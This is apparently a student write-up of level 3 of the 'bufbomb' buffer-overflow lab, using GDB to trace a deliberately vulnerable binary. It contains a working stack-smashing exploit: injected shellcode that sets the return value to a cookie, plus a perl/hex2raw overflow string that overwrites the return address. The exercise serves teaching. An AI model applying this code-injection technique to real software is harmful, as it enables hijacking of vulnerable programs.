Level 3. Ah_Choo!

10 minute read

Published:

Primary purpose:

At this level we’re not going to call any functions/ procedures after function ah_choo() was finished, yet we’re going to change the return value of function ah_choo() (which was worth 1) into our cookie, so that after procedure test() was finished in calling function ah_choo(), the contents of variable containing the return value of function ah_choo() will be replaced by our cookie.

Ok, for we’re not going to call any functions/ procedures, then our focus are only on function ah_choo() and procedure test(). Let’s see what procedure test() brings by typing this command on GDB.

gdb bufbomb
(gdb) disas test

Dump of assembler code for function test:

AddressOperationElements in operation
0x08048dbb <+0>:push%ebx
0x08048dbc <+1>:sub$0x28, %esp
0x08048dbf <+4>:call0x8048da2
0x08048dc4 <+9>:mov%eax, 0x1c(%esp)
0x08048dc8 <+13>:call0x8048d04
0x08048dcd <+18>:mov%eax, %ebx
0x08048dcf <+20>:call0x8048da2
0x08048dd4 <+25>:mov0x1c(%esp), %edx
0x08048dd8 <+29>:cmp%edx, %eax
0x08048dda <+31>:je0x8048dea <test+47>
0x08048ddc <+33>:movl$0x804a26d, (%esp)
0x08048de3 <+40>:call0x8048810 puts@plt
0x08048de8 <+45>:jmp0x8048e30 <test+117>
0x08048dea <+47>:cmp0x804d10c, %ebx
0x08048df0 <+53>:jne0x8048e18 <test+93>
0x08048df2 <+55>:mov%ebx, 0x8(%esp)
0x08048df6 <+59>:movl$0x804a282, 0x4(%esp)
0x08048dfe <+67>:movl$0x1, (%esp)
0x08048e05 <+74>:call0x8048900 __printf_chk@plt
0x08048e0a <+79>:movl$0x3, (%esp)
0x08048e11 <+86>:call0x8049171
0x08048e16 <+91>:jmp0x8048e30 <test+117>

-Type < return > to continue, or q < return > to quit-

We can see that after calling function ah_shoo(), procedure test() will store the contents of register %eax into register %ebx.

Moreover, at row 0x08048dc4 <+9> we can see that the block of stack frame of procedure test() which is located at %esp+0x1c is filled with the contentss of register %eax before calling function ah_shoo().

Afterwards, after calling function ah_shoo(), register %edx is filled with the contents of block of stack frame of procedure test() which is located at %esp+0x1c. The contents of register %edx is then compared with the contents of register %eax.

Ok, let’s see the contents of register %eax before calling function ah_shoo() which is later will be stored into the block of stack with address %esp+0x1c. Use this command:

(gdb) q
gdb bufbomb
(gdb) b test
Breakpoint 1 at 0x8048dbb
(gdb) run -u eksperimen
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048dbb in test ()

Then wee see the contents of procedure test().

(gdb) disas

Dump of assembler code for function test:

AddressOperationElements in operation
=> 0x08048dbb <+0>:push %ebx 
0x08048dbc <+1>:sub$0x28,%esp
0x08048dbf <+4>:call0x8048da2
0x08048dc4 <+9>:mov%eax,0x1c(%esp)
0x08048dc8 <+13>:call0x8048d04
0x08048dcd <+18>:mov%eax,%ebx
0x08048dcf <+20>:call0x8048da2
0x08048dd4 <+25>:mov0x1c(%esp),%edx
0x08048dd8 <+29>:cmp%edx,%eax
0x08048dda <+31>:je0x8048dea <test+47>
0x08048ddc <+33>:movl$0x804a26d,(%esp)
0x08048de3 <+40>:call0x8048810 puts@plt
0x08048de8 <+45>:jmp0x8048e30 <test+117>
0x08048dea <+47>:cmp0x804d10c,%ebx
0x08048df0 <+53>:jne0x8048e18 <test+93>
0x08048df2 <+55>:mov%ebx,0x8(%esp)
0x08048df6 <+59>:movl$0x804a282,0x4(%esp)
0x08048dfe <+67>:movl$0x1,(%esp)
0x08048e05 <+74>:call0x8048900 __printf_chk@plt
0x08048e0a <+79>:movl$0x3,(%esp)
0x08048e11 <+86>:call0x8049171
0x08048e16 <+91>:jmp0x8048e30 <test+117>

-Type < return > to continue, or q < return > to quit-

Quit
(gdb) ni
0x08048dbc in test ()
(gdb) ni
0x08048dbf in test ()
(gdb) ni
0x08048dc4 in test ()

Then we also see the register’s info.

(gdb) i r

Info register  
eax0x3995b132966111538
ecx0xf7fba068-134504344
edx0xf7fba3cc-134503476
ebx0x00
esp0x556836980x55683698 <_reserved+1037976>
ebp0x55685ff00x55685ff0 <_reserved+1048560>
esi0x33
edi0x00
eip0x8048dc80x8048dc8 <test+13>
eflags0x212[ AF IF ]
cs0x2335
ss0x2b43
ds0x2b43
es0x2b43
fs0x00
gs0x6399

It can be seen that the contents of register %eax is 0x3995b132 before calling function ah_shoo(). Let’s see the contents of the stack at address %esp+0x1c.

(gdb) ni
(gdb) x/20x $esp

The contents of stack    
0x55683698 <_reserved+1037976>:0xf7fbaac00x0000000a0x0000000f0xf7e12700
0x556836a8 <_reserved+1037992>:0x55685ff00xf7ff05000x556856800x3995b132
0x556836b8 <_reserved+1038008>:0x000000030x000000000x000000000x08048e87
0x556836c8 <_reserved+1038024>:0x0804a2a60x000000f40x00001fa00x00000000
0x556836d8 <_reserved+1038040>:0x000000000x000000000xf4f4f4f40xf4f4f4f4

(gdb) x/ 0x55683698+0x1c
0x556836b4 < _reserved+1038004 >: 0x3995b132

It is true that the contents of stack at address 0x556836b4 already contains the contents of register %eax. Next, procedure test() calls function ah_shoo(). Type this command and in this case I gave an input ‘A’ as much as 5 times.

(gdb) ni
AAAAA
0x08048dcd in test ()

(gdb) disas ah_choo

Dump of assembler code for function ah_choo:

AddressOperationElements in operation
0x08048cec <+0>:sub$0x4c, %esp
0x08048cef <+3>:lea0x18(%esp), %eax
0x08048cf3 <+7>:mov%eax, (%esp)
0x08048cf6 <+10>:call0x8048c56
0x08048cfb <+15>:mov$0x1, %eax
0x08048d00 <+20>:add$0x4c, %esp
0x08048d03 <+23>:ret 

End of assembler dump.

From function ah_choo(), it can be seen that register %eax will be storing the return value of function ah_choo() (which is initially worth 1). It means that our remaining task is to change the contents of register %eax into our cookie.

Let’s see the contents of function ah_shoo() so that we know whether there’s any changes in register %eax or not.

(gdb) disas ah_shoo

Dump of assembler code for function ah_shoo:

AddressOperationElements in operation
0x08048d04 <+0>:sub$0xc, %esp
0x08048d07 <+3>:call0x8048cec
0x08048d0c <+8>:add$0xc, %esp
0x08048d0f <+11>:ret 

End of assembler dump.

It can be seen that there’s no any changes in register %eax so that we can confirmed that the return value of function ah_choo() is always located on register %eax after function ah_choo() was finished. Also note that the return address of function ah_choo() is 0x08048d0c.

Let’s get started!

As we’ll change the contents of register %eax, then we’ll do the similar way as the previous level which means we’ll do it through code injection. In our code injection there must be a command to change the contents of register %eax into our cookie. Afterwards we must insert the return address of function ah_choo() as we’ll return to procedure test() after this function was finished. Then the last instruction is just a return.

Here’s the code:

movl $0x1d9ed824, %eax
pushl $0x08048d0c
ret

The first row changes the contents of register %eax into our cookie.

The second row inserts the return address of function ah_choo() into the stack, then returned at the last row.

Open your terminal (not on GDB) and type this compilation command. (file name: assemblylvl3.s).

gcc -m32 -c assemblylvl3.s
objdump -d assemblylvl3.o > assemblylvl3.d
cat assemblylvl3.d

Will give this result:

The compiled code:  
assemblylvl3.o: file format elf32-i386  
Disassembly of section .text:  
00000000 <.text>:  
0: b8 24 d8 9e 1dmov$0x1d9ed824, %eax
5: 68 0c 8d 04 08push$0x8048d0c
a: c3ret 

Then the next step is creating a string input which is formed by 52 different characters, the return address changed into the starting address of our code injection, and the hexa code of our code injection. To do that, use this command (not on GDB):

  • perl -e ‘print “61 “x32, “62 “x20, “88 36 68 55 “, “b8 24 d8 9e 1d 68 0c 8d 04 08 c3”’ > hex0
  • ./hex2raw < hex0 > raw0

The value 88 36 68 55 is the starting address of our code injection. It can be checked the same way as we did on level 2.

Then, use this command:

gdb bufbomb
(gdb) b test
Breakpoint 1 at 0x8048dbb
(gdb) run -u eksperimen < raw0
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048dbb in test ()

And let’s see the contents of procedure test().

(gdb) disas

Dump of assembler code for function test:

AddressOperationElements in operation
=> 0x08048dbb <+0>:push %ebx 
0x08048dbc <+1>:sub$0x28,%esp
0x08048dbf <+4>:call0x8048da2
0x08048dc4 <+9>:mov%eax,0x1c(%esp)
0x08048dc8 <+13>:call0x8048d04
0x08048dcd <+18>:mov%eax,%ebx
0x08048dcf <+20>:call0x8048da2
0x08048dd4 <+25>:mov0x1c(%esp),%edx
0x08048dd8 <+29>:cmp%edx,%eax
0x08048dda <+31>:je0x8048dea <test+47>
0x08048ddc <+33>:movl$0x804a26d,(%esp)
0x08048de3 <+40>:call0x8048810 puts@plt
0x08048de8 <+45>:jmp0x8048e30 <test+117>
0x08048dea <+47>:cmp0x804d10c,%ebx
0x08048df0 <+53>:jne0x8048e18 <test+93>
0x08048df2 <+55>:mov%ebx,0x8(%esp)
0x08048df6 <+59>:movl$0x804a282,0x4(%esp)
0x08048dfe <+67>:movl$0x1,(%esp)
0x08048e05 <+74>:call0x8048900 __printf_chk@plt
0x08048e0a <+79>:movl$0x3,(%esp)
0x08048e11 <+86>:call0x8049171
0x08048e16 <+91>:jmp0x8048e30 <test+117>

-Type < return > to continue, or q < return > to quit-

And continue with this command.

Quit
(gdb) ni
0x08048dbc in test ()
(gdb) ni
0x08048dbf in test ()
(gdb) ni
0x08048dc4 in test ()
(gdb) ni
0x08048dc8 in test ()
(gdb) ni
0x08048dcd in test ()
(gdb) ni
0x08048dcf in test ()

After 6 instructions (ni), let’s see the contents of registers.

(gdb) i r

Info register  
eax0x1d9ed824496949284
ecx0xf7fbb8a4-134498140
edx0xa10
ebx0x1d9ed824496949284
esp0x556836980x55683698 <_reserved+1037976>
ebp0x55685ff00x55685ff0 <_reserved+1048560>
esi0x33
edi0x00
eip0x8048dcf0x8048dcf <test+20>
eflags0x212[ AF IF ]
cs0x2335
ss0x2b43
ds0x2b43
es0x2b43
fs0x00
gs0x6399

After 6 instructions was executed, then we were out of function ah_shoo() and it turned out that register %ebx had the same value as our cookie!

Let’s continue by looking at the comparison between register %edx and %eax. Use this command:

(gdb) ni
0x08048dd4 in test ()
(gdb) ni
0x08048dd8 in test ()
(gdb) ni
0x08048dda in test ()
(gdb) i r

Info register  
eax0x2525bec0623230656
ecx0xf7fba068-134504344
edx0x2525bec0623230656
ebx0x1d9ed824496949284
esp0x556836980x55683698 <_reserved+1037976>
ebp0x55685ff00x55685ff0 <_reserved+1048560>
esi0x33
edi0x00
eip0x8048dda0x8048dda <test+31>
eflags0x246[ PF ZF IF ]
cs0x2335
ss0x2b43
ds0x2b43
es0x2b43
fs0x00
gs0x6399

Great! We can see that the contentss of register %edx is the same with the contents of register %eax. This means we can move on to the next Assembly instruction on procedur test().

As register %ebx had the same value as our cookie, this means we can confirmed that the comparison process between register %ebx and the contentss of address 0x804d10c is absolutely on the right track. We can proceed to the final step!

Just use this command:

(gdb) c
Continuing.
OK: ah_choo 0x1d9ed824
VALID
Selamat!
[Inferior 1 (process 5043) exited normally]

Finally!!!